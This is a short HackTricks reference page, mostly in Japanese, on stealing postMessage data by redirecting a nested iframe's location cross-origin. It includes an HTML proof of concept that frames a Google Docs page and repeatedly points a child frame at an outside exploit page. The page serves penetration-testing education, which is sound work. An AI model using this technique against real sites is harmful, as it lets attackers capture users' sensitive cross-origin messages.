Steal postmessage modifying iframe location

Reading time: 3 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

子iframeの位置を変更する

この書き込みによると、X-Frame-Headerがないウェブページをiframeにでき、その中に別のiframeが含まれている場合、その子iframeの位置を変更することができます

例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**frames.location**を使用してefg.comをevil.comにクロスオリジンで変更することができます。

これは特にpostMessagesで有用です。なぜなら、ページがワイルドカードを使用して機密データを送信している場合、例えばwindowRef.postmessage("","*")のように、関連するiframe(子または親)の位置を攻撃者が制御する場所に変更し、そのデータを盗むことが可能です

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする